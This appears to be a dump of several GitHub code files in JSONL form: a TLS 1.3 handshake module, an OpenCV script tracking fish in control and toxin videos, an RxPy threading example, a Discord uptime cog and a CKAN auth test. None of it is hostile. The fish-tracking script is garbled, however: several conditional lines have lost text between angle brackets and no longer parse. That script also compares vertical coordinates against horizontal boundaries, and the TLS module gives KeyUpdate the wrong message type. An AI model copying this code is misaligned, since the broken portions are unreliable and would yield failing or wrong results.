randbytes(32)\n self.random = random\n self.session_id_echo = session_id_echo\n self.cipher_suite = cipher_suite\n self.compression_method = compression_method\n self.extensions = extensions\n\n @override(Handshake)\n def pack_handshake(self) -> bytes:\n buf = bytes(self.version) + \\\n self.random + \\\n BStruct.pack_varlen(self.session_id_echo) + \\\n bytes(self.cipher_suite) + \\\n bytes(self.compression_method)\n buf += bytes(self.extensions)\n return buf\n\n def is_hello_retry(self) -> bool:\n return self.random == self.HELLO_RETRY_MAGIC\n\n\nclass EndOfEarlyData(Handshake):\n msg_type = HandshakeType.EndOfEarlyData\n\n\nclass EncryptedExtensions(Handshake):\n msg_type = HandshakeType.EncryptedExtensions\n\n\nclass CertificateRequest(Handshake):\n msg_type = HandshakeType.CertificateRequest\n\n\nclass Certificate(Handshake):\n msg_type = HandshakeType.Certificate\n\n\nclass CertificateVerify(Handshake):\n msg_type = HandshakeType.CertificateVerify\n\n\nclass Finished(Handshake):\n msg_type = HandshakeType.Finished\n\n\nclass NewSessionTicket(Handshake):\n msg_type = HandshakeType.NewSessionTicket\n\n\nclass KeyUpdate(Handshake):\n msg_type = HandshakeType.NewSessionTicket\n","repo_name":"vhqr0/python-proxy-platform","sub_path":"p3/contrib/tls13/handshake.py","file_name":"handshake.py","file_ext":"py","file_size_in_byte":5909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74627634152","text":"#pip install opencv-python==4.4.0.46\r\n#pip install opencv-contrib-python==4.4.0.46\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport sys\r\nimport cv2\r\nfrom random import randint\r\nimport numpy as np\r\nfrom mpl_toolkits.mplot3d import axes3d\r\nimport matplotlib.pyplot as plt\r\nimport time\r\n\r\n#excel saver\r\ndef excelUpdater(cPosition_1,cPosition_2,cPosition_3,tPosition_1,tPosition_2,tPosition_3):\r\n #length to make all equal\r\n max_length = max(len(cPosition_1), len(cPosition_2), len(cPosition_3), len(tPosition_1), len(tPosition_2), len(tPosition_3))\r\n\r\n # Create NumPy arrays with missing values\r\n cPosition_1= np.array(cPosition_1 + [None] * (max_length - len(cPosition_1)))\r\n cPosition_2= np.array(cPosition_2 + [None] * (max_length - len(cPosition_2)))\r\n cPosition_3= np.array(cPosition_3 + [None] * (max_length - len(cPosition_3)))\r\n tPosition_1= np.array(tPosition_1 + [None] * (max_length - len(tPosition_1)))\r\n tPosition_2= np.array(tPosition_2 + [None] * (max_length - len(tPosition_2)))\r\n tPosition_3= np.array(tPosition_3 + [None] * (max_length - len(tPosition_3)))\r\n \r\n # Create a structured NumPy array\r\n data = np.column_stack((cPosition_1, cPosition_2, cPosition_3, tPosition_1, tPosition_2, tPosition_3))\r\n\r\n # Create a DataFrame from the structured NumPy array\r\n df = pd.DataFrame(data, columns=['cPosition_1', 'cPosition_2','cPosition_3', 'tPosition_1','tPosition_2','tPosition_3'])\r\n\r\n # Define the Excel filename\r\n excel_filename = \"data_columnwise.xlsx\"\r\n\r\n # Save the DataFrame to an Excel file\r\n df.to_excel(excel_filename, index=False)\r\n\r\n\r\n#tracker caller\r\ndef trackerCreator(trackerType):\r\n if(trackerType==trackerTypes[0]):\r\n tracker=cv2.TrackerCSRT_create()\r\n elif(trackerType==trackerTypes[1]):\r\n tracker=cv2.TrackerMIL_create()\r\n else:\r\n tracker=None\r\n print(\"Incorrect tracker selected!\")\r\n print(\"Available trackers are : \\n 1) CSRT \\n 2) MIL\")\r\n return tracker\r\n\r\ndef fish(cap):\r\n cap=cap\r\n width = cap.get(3) # width of video\r\n height = cap.get(4) # height of video\r\n half_height=height/1.7 #to draw center of water tank\r\n vertical_point=height*0.09 #to get glass\r\n vertical_mirror_line_left=width/6 #left glass\r\n vertical_mirror_line_right=width/1.06 #right glass\r\n interval=int(input(\"Interveral to capture the XY positions in seconds\")) #interval in seconds\r\n\r\n #boxes and colors\r\n bboxes = []\r\n colors = []\r\n\r\n #to draw 3d graph where z is always 0\r\n X1=[]\r\n Y1=[]\r\n X2=[]\r\n Y2=[]\r\n X3=[]\r\n Y3=[]\r\n\r\n img = np.zeros((int(height),int(width),3), np.uint8)\r\n\r\n #start\r\n ret, frame=cap.read() #reading frame\r\n if not ret:\r\n print(\"Failed to read the video!\")\r\n sys.exit(1)\r\n\r\n fish=int(input(\"How many fish to be tracked? Min 1 - Max 3\"))\r\n if(fish<1):\r\n fish=1\r\n if(fish>3):\r\n fish=3\r\n print(fish)\r\n \r\n selector=0\r\n #ROI(region of interest) selector\r\n while True:\r\n bbox=cv2.selectROI('Multi Fish Tracker',frame)\r\n bboxes.append(bbox)\r\n colors.append((randint(0,255),randint(0,255),randint(0,255)))\r\n selector+=1\r\n print(\"press enter\")\r\n if(selector==fish):\r\n break\r\n cv2.destroyAllWindows()\r\n \r\n print(\"Selected bounding boxes are {}\".format(bboxes))\r\n\r\n #Tracker type\r\n trackerType=trackerTypes[0]\r\n print(\"You've selected {} tracker\".format(trackerType))\r\n\r\n #Multitracker\r\n multiTracker=cv2.MultiTracker_create()\r\n\r\n #Initialize multiTracker\r\n for bbox in bboxes:\r\n multiTracker.add(trackerCreator(trackerType),frame,bbox)\r\n\r\n counter_up_1=0 #fish above tank\r\n counter_down_1=0 #fish below tank\r\n counter_center_1=0 #fish center tank\r\n \r\n counter_up_2=0\r\n counter_down_2=0\r\n counter_center_2=0\r\n\r\n counter_up_3=0\r\n counter_down_3=0\r\n counter_center_3=0\r\n\r\n counter_left_1=0 #fish left tank\r\n counter_right_1=0 #fish right tank\r\n counter_mid_1=0 #fish mid tank\r\n\r\n counter_left_2=0\r\n counter_right_2=0\r\n counter_mid_2=0\r\n\r\n counter_left_3=0\r\n counter_right_3=0\r\n counter_mid_3=0\r\n\r\n \r\n count_up_1=True #is fish above tank?\r\n count_down_1=True #is fish below tank?\r\n count_center_1=True #is fish center tank?\r\n\r\n count_up_2=True\r\n count_down_2=True\r\n count_center_2=True\r\n\r\n count_up_3=True\r\n count_down_3=True\r\n count_center_3=True\r\n\r\n count_left_1=True #is fish left tank?\r\n count_right_1=True #is fish right tank?\r\n count_mid_1=True #is fish mid tank?\r\n\r\n count_left_2=True\r\n count_right_2=True\r\n count_mid_2=True\r\n\r\n count_left_3=True\r\n count_right_3=True\r\n count_mid_3=True\r\n\r\n up_counter_1=0 #string format up\r\n down_counter_1=0 #string format down\r\n center_counter_1=0 #string format center\r\n\r\n up_counter_2=0\r\n down_counter_2=0\r\n center_counter_2=0\r\n\r\n up_counter_3=0\r\n down_counter_3=0\r\n center_counter_3=0\r\n\r\n left_counter_1=0 #string format left\r\n right_counter_1=0 #string format right\r\n mid_counter_1=0 #string format mid\r\n\r\n left_counter_2=0\r\n right_counter_2=0\r\n mid_counter_2=0\r\n\r\n left_counter_3=0\r\n right_counter_3=0\r\n mid_counter_3=0\r\n \r\n\r\n up_timer_1=0 #fish above the line time\r\n down_timer_1=0 #fish below the line time\r\n center_timer_1=0 #fish center the line time\r\n\r\n up_timer_2=0\r\n down_timer_2=0\r\n center_timer_2=0\r\n\r\n up_timer_3=0\r\n down_timer_3=0\r\n center_timer_3=0\r\n \r\n left_timer_1=0 #fish left the line time\r\n right_timer_1=0 #fish right the line time\r\n mid_timer_1=0 #fish mid the line time\r\n\r\n left_timer_2=0\r\n right_timer_2=0\r\n mid_timer_2=0\r\n\r\n left_timer_3=0\r\n right_timer_3=0\r\n mid_timer_3=0\r\n\r\n \r\n position_1=[] #mean position\r\n\r\n position_2=[]\r\n \r\n position_3=[]\r\n \r\n starting_time=0 #world starting time\r\n global_time=0 #video playback time\r\n starting_time = time.time() #world tarting time\r\n start_time=time.time() #n seconds counter\r\n frame_count = 0\r\n\r\n #Process video and track objects\r\n while cap.isOpened():\r\n ret,frame=cap.read()\r\n if not ret:\r\n break\r\n\r\n #drawing horizontal center line #blue #red\r\n cv2.line(frame, pt1=(0,int(half_height)-int(vertical_point)), pt2=(int(width*0.05),int(half_height)-int(vertical_point)), color=(0,0,255), thickness=1)\r\n cv2.line(img, pt1=(0,int(half_height)-int(vertical_point)), pt2=(int(width*0.05),int(half_height)-int(vertical_point)), color=(0,0,255), thickness=1)\r\n cv2.line(frame, pt1=(0,int(half_height)+int(vertical_point)), pt2=(int(width*0.05),int(half_height)+int(vertical_point)), color=(255,0,0), thickness=1)\r\n cv2.line(img, pt1=(0,int(half_height)+int(vertical_point)), pt2=(int(width*0.05),int(half_height)+int(vertical_point)), color=(255,0,0), thickness=1) \r\n #drawing vertical mirror line #yellow #cyan\r\n cv2.line(frame, pt1=(int(vertical_mirror_line_left),0), pt2=(int(vertical_mirror_line_left),int(height*0.05)), color=(255,255,0), thickness=1)\r\n cv2.line(img, pt1=(int(vertical_mirror_line_left),0), pt2=(int(vertical_mirror_line_left),int(height*0.05)), color=(255,255,0), thickness=1)\r\n #drawing vertical mirror line\r\n cv2.line(frame, pt1=(int(vertical_mirror_line_right),0), pt2=(int(vertical_mirror_line_right),int(height*0.05)), color=(0,255,255), thickness=1) \r\n cv2.line(img, pt1=(int(vertical_mirror_line_right),0), pt2=(int(vertical_mirror_line_right),int(height*0.05)), color=(0,255,255), thickness=1) \r\n\r\n #timer text\r\n cv2.putText(frame, \"Timer = {}\".format(global_time), (int(width*0.45), int(height-5)), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (255, 0, 0), 0, cv2.LINE_AA)\r\n \r\n #get updated location of objects in subsequent frames\r\n ret,boxes=multiTracker.update(frame)\r\n\r\n # Increment the frame count\r\n frame_count += 1\r\n current_time = time.time()\r\n\r\n try:\r\n #draw tracked objects\r\n for i, newbox in enumerate(boxes):\r\n\r\n\r\n\r\n #IF FISH 1 EXISTS\r\n if(i==0):\r\n cv2.putText(frame, \"F1C (TOP/CENTER/BOTTOM - LEFT/MID/RIGHT) = {}/{}/{} - {}/{}/{}\".format(up_counter_1,center_counter_1,down_counter_1,left_counter_1,mid_counter_1,right_counter_1), (0, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (255, 0, 0), 0, cv2.LINE_AA)\r\n cv2.putText(frame, \"F1T (TOP/CENTER/BOTTOM - LEFT/MID/RIGHT) = {}/{}/{} - {}/{}/{}\".format(up_timer_1,center_timer_1,down_timer_1,left_timer_1,mid_timer_1,right_timer_1), (int(width*0.50), 25), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (255, 0, 0), 0, cv2.LINE_AA)\r\n\r\n p1 = (int(newbox[0]), int(newbox[1]))\r\n p2 = (int(newbox[0] + newbox[2]), int(newbox[1] + newbox[3]))\r\n c1=int((p1[0]+p2[0])/2)\r\n c2=int((p1[1]+p2[1])/2)\r\n \r\n X1.append(c1)\r\n Y1.append(c2)\r\n \r\n cv2.rectangle(frame, p1, p2, colors[i], 2, 1)\r\n #track on black image\r\n cv2.circle(img,(c1,c2),2,colors[i],-1)\r\n\r\n\r\n #mid timer\r\n if(c2>=int(vertical_mirror_line_left) and c1<=int(vertical_mirror_line_right)):\r\n mid_timer_1=int(global_time-(left_timer_1+right_timer_1))\r\n #left timer\r\n elif(c2int(vertical_mirror_line_right)):\r\n right_timer_1=int(global_time-(left_timer_1+mid_timer_1))\r\n \r\n\r\n #is fish mid the tank? how many times?\r\n if(c2>=int(vertical_mirror_line_left) and c1<=int(vertical_mirror_line_right) and count_mid_1==True):\r\n counter_mid_1+=1\r\n count_mid_1=False\r\n count_left_1=True\r\n count_right_1=True\r\n mid_counter_1=int(counter_mid_1)\r\n #is fish left the tank? how many times?\r\n elif(c2int(vertical_mirror_line_right) and count_right_1==True):\r\n counter_right_1+=1\r\n count_right_1=False\r\n count_left_1=True\r\n count_mid_1=True\r\n right_counter_1=int(counter_right_1)\r\n \r\n\r\n #center timer\r\n if(c2>=(int(half_height)-int(vertical_point)) and c2<=(int(half_height)+int(vertical_point))):\r\n center_timer_1=int(global_time-(up_timer_1+down_timer_1))\r\n #above timer\r\n elif(c2<(int(half_height)-int(vertical_point))):\r\n up_timer_1=int(global_time-(down_timer_1+center_timer_1))\r\n #below timer\r\n elif (c2>(int(half_height)+int(vertical_point))):\r\n down_timer_1=int(global_time-(up_timer_1+center_timer_1))\r\n\r\n \r\n #is fish center the tank? how many times?\r\n if(c2>=(int(half_height)-int(vertical_point)) and c2<=(int(half_height)+int(vertical_point)) and count_center_1==True):\r\n counter_center_1+=1\r\n count_center_1=False\r\n count_up_1=True\r\n count_down_1=True\r\n center_counter_1=int(counter_center_1)\r\n #is fish above the tank? how many times?\r\n elif(c2<(int(half_height)-int(vertical_point)) and count_up_1==True):\r\n counter_up_1+=1\r\n count_up_1=False\r\n count_center_1=True\r\n count_down_1=True\r\n up_counter_1=int(counter_up_1)\r\n #is fish below the tank? how many times?\r\n elif(c2>(int(half_height)+int(vertical_point)) and count_down_1==True):\r\n counter_down_1+=1\r\n count_down_1=False\r\n count_up_1=True\r\n count_center_1=True\r\n down_counter_1=int(counter_down_1)\r\n\r\n\r\n #append position\r\n if current_time - start_time >= interval:\r\n position_1.append(int(c1))\r\n print(position_1)\r\n if(selector==1):\r\n start_time = current_time\r\n\r\n\r\n\r\n #IF FISH 2 EXISTS \r\n if(i==1):\r\n cv2.putText(frame, \"F2C (TOP/CENTER/BOTTOM - LEFT/MID/RIGHT) = {}/{}/{} - {}/{}/{}\".format(up_counter_2,center_counter_2,down_counter_2,left_counter_2,mid_counter_2,right_counter_2), (0, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (255, 0, 0), 0, cv2.LINE_AA)\r\n cv2.putText(frame, \"F2T (TOP/CENTER/BOTTOM - LEFT/MID/RIGHT) = {}/{}/{} - {}/{}/{}\".format(up_timer_2,center_timer_2,down_timer_2,left_timer_2,mid_timer_2,right_timer_2), (int(width*0.50), 50), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (255, 0, 0), 0, cv2.LINE_AA)\r\n\r\n p1 = (int(newbox[0]), int(newbox[1]))\r\n p2 = (int(newbox[0] + newbox[2]), int(newbox[1] + newbox[3]))\r\n c1=int((p1[0]+p2[0])/2)\r\n c2=int((p1[1]+p2[1])/2)\r\n \r\n X2.append(c1)\r\n Y2.append(c2)\r\n\r\n cv2.rectangle(frame, p1, p2, colors[i], 2, 1)\r\n #track on black image\r\n cv2.circle(img,(c1,c2),2,colors[i],-1)\r\n\r\n\r\n #mid timer\r\n if(c2>=int(vertical_mirror_line_left) and c1<=int(vertical_mirror_line_right)):\r\n mid_timer_2=int(global_time-(left_timer_2+right_timer_2)) \r\n #left timer\r\n elif(c2int(vertical_mirror_line_right)):\r\n right_timer_2=int(global_time-(left_timer_1+mid_timer_1))\r\n\r\n \r\n #is fish mid the tank? how many times?\r\n if(c2>=int(vertical_mirror_line_left) and c1<=int(vertical_mirror_line_right) and count_mid_2==True):\r\n counter_mid_2+=1\r\n count_mid_2=False\r\n count_left_2=True\r\n count_right_2=True\r\n mid_counter_2=int(counter_mid_2)\r\n #is fish left the tank? how many times?\r\n elif(c2int(vertical_mirror_line_right) and count_right_2==True):\r\n counter_right_2+=1\r\n count_right_2=False\r\n count_left_2=True\r\n count_mid_2=True\r\n right_counter_2=int(counter_right_2)\r\n \r\n\r\n #center timer\r\n if(c2>=(int(half_height)-int(vertical_point)) and c2<=(int(half_height)+int(vertical_point))):\r\n center_timer_2=int(global_time-(up_timer_2+down_timer_2))\r\n #above timer\r\n elif(c2<(int(half_height)-int(vertical_point))):\r\n up_timer_2=int(global_time-(down_timer_2+center_timer_2))\r\n #below timer\r\n elif (c2>(int(half_height)+int(vertical_point))):\r\n down_timer_2=int(global_time-(up_timer_2+center_timer_2))\r\n\r\n\r\n #is fish center the tank? how many times?\r\n if(c2>=(int(half_height)-int(vertical_point)) and c2<=(int(half_height)+int(vertical_point)) and count_center_2==True):\r\n counter_center_2+=1\r\n count_center_2=False\r\n count_up_2=True\r\n count_down_2=True\r\n center_counter_2=int(counter_center_2)\r\n #is fish above the tank? how many times?\r\n elif(c2<(int(half_height)-int(vertical_point)) and count_up_2==True):\r\n counter_up_2+=1\r\n count_up_2=False\r\n count_center_2=True\r\n count_down_2=True\r\n up_counter_2=int(counter_up_2)\r\n #is fish below the tank? how many times?\r\n elif(c2>(int(half_height)+int(vertical_point)) and count_down_2==True):\r\n counter_down_2+=1\r\n count_down_2=False\r\n count_up_2=True\r\n count_center_2=True\r\n down_counter_2=int(counter_down_2)\r\n\r\n \r\n #append position\r\n if current_time - start_time >= interval:\r\n position_2.append(int(c1))\r\n print(position_2)\r\n if(selector==2):\r\n start_time = current_time\r\n\r\n\r\n\r\n #IF FISH 3 EXISTS \r\n if(i==2):\r\n cv2.putText(frame, \"F3C (TOP/CENTER/BOTTOM - LEFT/MID/RIGHT) = {}/{}/{} - {}/{}/{}\".format(up_counter_3,center_counter_3,down_counter_3,left_counter_3,mid_counter_3,right_counter_3), (0, 75), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (255, 0, 0), 0, cv2.LINE_AA)\r\n cv2.putText(frame, \"F3T (TOP/CENTER/BOTTOM - LEFT/MID/RIGHT) = {}/{}/{} - {}/{}/{}\".format(up_timer_3,center_timer_3,down_timer_3,left_timer_3,mid_timer_3,right_timer_3), (int(width*0.50), 75), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (255, 0, 0), 0, cv2.LINE_AA)\r\n\r\n p1 = (int(newbox[0]), int(newbox[1]))\r\n p2 = (int(newbox[0] + newbox[2]), int(newbox[1] + newbox[3]))\r\n c1=int((p1[0]+p2[0])/2)\r\n c2=int((p1[1]+p2[1])/2)\r\n \r\n X3.append(c1)\r\n Y3.append(c2)\r\n\r\n cv2.rectangle(frame, p1, p2, colors[i], 2, 1)\r\n #track on black image\r\n cv2.circle(img,(c1,c2),2,colors[i],-1)\r\n\r\n \r\n #mid timer\r\n if(c2>=int(vertical_mirror_line_left) and c1<=int(vertical_mirror_line_right)):\r\n mid_timer_3=int(global_time-(left_timer_3+right_timer_3)) \r\n #left timer\r\n elif(c2int(vertical_mirror_line_right)):\r\n right_timer_3=int(global_time-(left_timer_3+mid_timer_3))\r\n\r\n \r\n #is fish mid the tank? how many times?\r\n if(c2>=int(vertical_mirror_line_left) and c1<=int(vertical_mirror_line_right) and count_mid_3==True):\r\n counter_mid_3+=1\r\n count_mid_3=False\r\n count_left_3=True\r\n count_right_3=True\r\n mid_counter_3=int(counter_mid_3)\r\n #is fish left the tank? how many times?\r\n elif(c2int(vertical_mirror_line_right) and count_right_3==True):\r\n counter_right_3+=1\r\n count_right_3=False\r\n count_left_3=True\r\n count_mid_3=True\r\n right_counter_3=int(counter_right_3)\r\n \r\n\r\n #center timer\r\n if(c2>=(int(half_height)-int(vertical_point)) and c2<=(int(half_height)+int(vertical_point))):\r\n center_timer_3=int(global_time-(up_timer_3+down_timer_3))\r\n #above timer\r\n elif(c2<(int(half_height)-int(vertical_point))):\r\n up_timer_3=int(global_time-(down_timer_3+center_timer_3))\r\n #below timer\r\n elif (c2>(int(half_height)+int(vertical_point))):\r\n down_timer_3=int(global_time-(up_timer_3+center_timer_3))\r\n\r\n\r\n #is fish center the tank? how many times?\r\n if(c2>=(int(half_height)-int(vertical_point)) and c2<=(int(half_height)+int(vertical_point)) and count_center_3==True):\r\n counter_center_3+=1\r\n count_center_3=False\r\n count_up_3=True\r\n count_down_3=True\r\n center_counter_3=int(counter_center_3)\r\n\r\n #is fish above the tank? how many times?\r\n elif(c2<(int(half_height)-int(vertical_point)) and count_up_3==True):\r\n counter_up_3+=1\r\n count_up_3=False\r\n count_center_3=True\r\n count_down_3=True\r\n up_counter_3=int(counter_up_3)\r\n\r\n #is fish below the tank? how many times?\r\n elif(c2>(int(half_height)+int(vertical_point)) and count_down_3==True):\r\n counter_down_3+=1\r\n count_down_3=False\r\n count_up_3=True\r\n count_center_3=True\r\n down_counter_3=int(counter_down_3)\r\n\r\n #append position\r\n if current_time - start_time >= interval:\r\n position_3.append(int(c1))\r\n print(position_3)\r\n if(selector==3):\r\n start_time = current_time \r\n\r\n\r\n except:\r\n pass\r\n \r\n global_time=int(time.time()-starting_time)\r\n # show frame\r\n cv2.imshow('MultiTracker', frame)\r\n cv2.imshow(\"img\",img)\r\n \r\n # quit on ESC button\r\n if cv2.waitKey(1) & 0xFF == 27: # Esc pressed\r\n cv2.destroyAllWindows()\r\n break\r\n cv2.destroyAllWindows()\r\n if(fish==1):\r\n return X1,Y1,0,0,0,0,position_1,[],[]\r\n elif(fish==2):\r\n return X1,Y1,X2,Y2,0,0,position_1,position_2,[]\r\n else:\r\n return X1,Y1,X2,Y2,X3,Y3,position_1,position_2,position_3\r\n \r\n \r\n\r\n\r\n\r\ndef control():\r\n videoPath=\"control.mp4\"\r\n cCap=cv2.VideoCapture(videoPath)\r\n cX1,cY1,cX2,cY2,cX3,cY3,cPosition_1,cPosition_2,cPosition_3=fish(cCap)\r\n response=input(\"retake? y/n\")\r\n if(response==\"y\"):\r\n cCap.release()\r\n cv2.destroyAllWindows()\r\n control()\r\n else:\r\n return cX1,cY1,cX2,cY2,cX3,cY3,cPosition_1,cPosition_2,cPosition_3\r\n\r\n\r\ndef toxic():\r\n videoPath=\"toxin.mp4\"\r\n tCap=cv2.VideoCapture(videoPath)\r\n tX1,tY1,tX2,tY2,tX3,tY3,tPosition_1,tPosition_2,tPosition_3=fish(tCap)\r\n response=input(\"retake? y/n\")\r\n if(response==\"y\"):\r\n tCap.release()\r\n cv2.destroyAllWindows()\r\n toxic()\r\n else:\r\n return tX1,tY1,tX2,tY2,tX3,tY3,tPosition_1,tPosition_2,tPosition_3\r\n\r\n \r\n#tracker types\r\ntrackerTypes=[\"CSRT\",\"MIL\"]\r\n\r\n#control\r\ncX1,cY1,cX2,cY2,cX3,cY3,cPosition_1,cPosition_2,cPosition_3=control()\r\ncv2.destroyAllWindows()\r\n\r\n#toxin\r\ntX1,tY1,tX2,tY2,tX3,tY3,tPosition_1,tPosition_2,tPosition_3=toxic()\r\n\r\n#graph plotting stuff\r\nfig=plt.figure()\r\nax=fig.add_subplot(111,projection=\"3d\")\r\n\r\nif(cX1!=0):\r\n ax.plot(cX1,cY1,label=\"Fish 1 (Control)\")\r\nif(cX2!=0):\r\n ax.plot(cX2,cY2,label=\"Fish 2 (Control)\")\r\nif(cX3!=0):\r\n ax.plot(cX3,cY3,label=\"Fish 3 (Control)\")\r\n\r\nif(tX1!=0):\r\n ax.plot(tX1,tY1,label=\"Fish 1 (Toxin)\")\r\nif(tX2!=0):\r\n ax.plot(tX2,tY2,label=\"Fish 2 (Toxin)\")\r\nif(tX3!=0):\r\n ax.plot(tX3,tY3,label=\"Fish 3 (Toxin)\")\r\n\r\nplt.legend(loc=\"upper left\")\r\nplt.show()\r\n\r\ncP1=np.array(cPosition_1)\r\ncP2=np.array(cPosition_2)\r\ncP3=np.array(cPosition_3)\r\n\r\ntP1=np.array(tPosition_1)\r\ntP2=np.array(tPosition_2)\r\ntP3=np.array(tPosition_3)\r\n\r\nif(cP1.size>0): \r\n plt.plot(cP1,label=\"Fish 1 (Control)\")\r\nif(cP2.size>0):\r\n plt.plot(cP2,label=\"Fish 2 (Control)\")\r\nif(cP3.size>0):\r\n plt.plot(cP3,label=\"Fish 3 (Control)\")\r\n \r\nif(tP1.size>0):\r\n plt.plot(tP1,label=\"Fish 1 (Toxin)\")\r\nif(tP2.size>0):\r\n plt.plot(tP2,label=\"Fish 2 (Toxin)\")\r\nif(tP3.size>0):\r\n plt.plot(tP3,label=\"Fish 3 (Toxin)\")\r\n\r\nplt.legend(loc=\"upper left\")\r\nplt.show()\r\n\r\nexcelUpdater(cPosition_1,cPosition_2,cPosition_3,tPosition_1,tPosition_2,tPosition_3)\r\n","repo_name":"SIDDHARTH30092001/FISH_TRACKING_PROGRAM","sub_path":"FISH_TRACKER.py","file_name":"FISH_TRACKER.py","file_ext":"py","file_size_in_byte":26211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28988259754","text":"import multiprocessing\nimport random\nimport time\nfrom threading import current_thread\n\nfrom rx import Observable\nfrom rx.concurrency import ThreadPoolScheduler\n\ndef processHeavyCalc(value):\n time.sleep(random.randint(5,20) * .1)\n return value\n\n# calculate number of CPU's, then create a ThreadPoolScheduler with that number of threads\noptimal_thread_count = multiprocessing.cpu_count()\npool_scheduler = ThreadPoolScheduler(optimal_thread_count)\n\n# Create Process 1\nObservable.from_([\"Alpha\", \"Beta\", \"Gamma\", \"Delta\", \"Epsilon\"]) \\\n .map(lambda s: processHeavyCalc(s)) \\\n .subscribe_on(pool_scheduler) \\\n .subscribe(on_next=lambda s: print(\"PROCESS 1: {0} {1}\".format(current_thread().name, s)),\n on_error=lambda e: print(e),\n on_completed=lambda: print(\"PROCESS 1 done!\"))\n\n# Create Process 2\nObservable.range(1, 10) \\\n .map(lambda s: processHeavyCalc(s)) \\\n .subscribe_on(pool_scheduler) \\\n .subscribe(on_next=lambda i: print(\"PROCESS 2: {0} {1}\".format(current_thread().name, i)),\n on_error=lambda e: print(e), on_completed=lambda: print(\"PROCESS 2 done!\"))\n\n# Create Process 3, which is infinite\nObservable.interval(1000) \\\n .map(lambda i: i * 100) \\\n .observe_on(pool_scheduler) \\\n .map(lambda s: processHeavyCalc(s)) \\\n .subscribe(on_next=lambda i: print(\"PROCESS 3: {0} {1}\".format(current_thread().name, i)),\n on_error=lambda e: print(e))\n\ninput(\"Press any key to exit\\n\")","repo_name":"elliotforbes/Concurrency-With-Python","sub_path":"Chapter 10/concurrency.py","file_name":"concurrency.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"72"} +{"seq_id":"39273657496","text":"import json\nimport discord\n\nfrom asyncio import sleep\nfrom discord.ext import commands\nfrom resources.check import check_it\nfrom resources.db import Database\n\n\nwith open(\"resources/auth.json\") as security:\n _auth = json.loads(security.read())\n\ncolor = int(_auth['default_embed'], 16)\n\n\nclass UpTimeOnline(object):\n def __init__(self, bot, *args, **kwargs):\n self.bot = bot\n super().__init__(*args, **kwargs)\n self.bg_task = self.bot.loop.create_task(self.up_time())\n\n async def up_time(self):\n await self.bot.wait_until_ready()\n global seconds\n seconds = 0\n global minutes\n minutes = 0\n global hour\n hour = 0\n global day\n day = 0\n while not self.bot.is_closed():\n seconds += 1\n if seconds == 60:\n seconds = 0\n minutes += 1\n await sleep(1)\n if minutes == 60:\n minutes = 0\n hour += 1\n if hour == 24:\n hour = 0\n day += 1\n\n @check_it(no_pm=True)\n @commands.cooldown(1, 5.0, commands.BucketType.user)\n @commands.check(lambda ctx: Database.is_registered(ctx, ctx))\n @commands.command(name='online', aliases=['uptime'])\n async def online(self, ctx):\n embed_up_time = discord.Embed(\n title=\"TEMPO ONLINE DO MODULO PRINCIPAL:\",\n color=color,\n description=\"``Estou online faz {0} dias, {1} horas, {2} minutos e {3} segundos.``\".format(day,\n hour,\n minutes,\n seconds))\n embed_up_time.set_author(name=\"Filizard Project\", icon_url=\"https://i.imgur.com/GY4nTTj.png\")\n embed_up_time.set_thumbnail(url=\"http://vapc.org/qa/wp-content/plugins/RunClickPlugin/images/animator.gif\")\n embed_up_time.set_footer(text=\"Ashley ® Todos os direitos reservados.\")\n await ctx.channel.send(embed=embed_up_time)\n\n\ndef setup(bot):\n bot.add_cog(UpTimeOnline(bot))\n print('\\033[1;32mO comando \\033[1;34mUPTIME\\033[1;32m foi carregado com sucesso!\\33[m')\n","repo_name":"PatchKnow/Ashley","sub_path":"commands/bot/online.py","file_name":"online.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42331523251","text":"import logging\nimport unicodedata\n\nimport ckan.model as model\nimport ckan.plugins.toolkit as tk\nimport ckan.tests.factories as factories\n\nimport ckanext.hdx_theme.tests.hdx_test_base as hdx_test_base\n\nfrom collections import namedtuple\nfrom ckanext.hdx_org_group.helpers.static_lists import ORGANIZATION_TYPE_LIST\n\nlog = logging.getLogger(__name__)\n\nurl_for = tk.url_for\n\nMember = namedtuple('Member', ['name', 'capacity'])\n\nMEMBERS = [\n Member('member_user1', 'member'),\n Member('editor_user1', 'editor'),\n Member('admin_user1', 'admin'),\n]\n\nORG = 'org-for-testing-members-page'\n\n\nclass TestMembersPageAuth(hdx_test_base.HdxBaseTest):\n @classmethod\n def setup_class(cls):\n super(TestMembersPageAuth, cls).setup_class()\n for member in MEMBERS:\n factories.User(name=member.name, email='{}@hdx.hdxtest.org'.format(member.name),\n apikey='{}_apikey'.format(member.name))\n for member in MEMBERS:\n user = model.User.by_name(member.name)\n user.apikey = member.name + '_apikey'\n model.Session.commit()\n\n factories.Organization(\n name=ORG,\n title='ORG NAME FOR TESTING MEMBERS PAGE',\n users=[m._asdict() for m in MEMBERS],\n hdx_org_type=ORGANIZATION_TYPE_LIST[0][1],\n org_url='https://hdx.hdxtest.org/'\n )\n\n def test_member_page_load(self):\n for member in MEMBERS:\n url = url_for('hdx_members.members', id=ORG)\n user = model.User.by_name(member.name)\n result = self.app.get(url, headers={\n 'Authorization': unicodedata.normalize('NFKD', user.apikey).encode('ascii', 'ignore')\n })\n assert 200 == result.status_code, 'HTTP OK for {}'.format(member.name)\n assert 'server error' not in str(result.body).lower()\n","repo_name":"OCHA-DAP/hdx-ckan","sub_path":"ckanext-hdx_org_group/ckanext/hdx_org_group/tests/test_pages/test_members_page_auth.py","file_name":"test_members_page_auth.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"72"} +{"seq_id":"73035141993","text":"from loaders.html_loader import HtmlLoader\nfrom pipelines.text_processor import TextProcessor\nfrom pipelines.indexer import 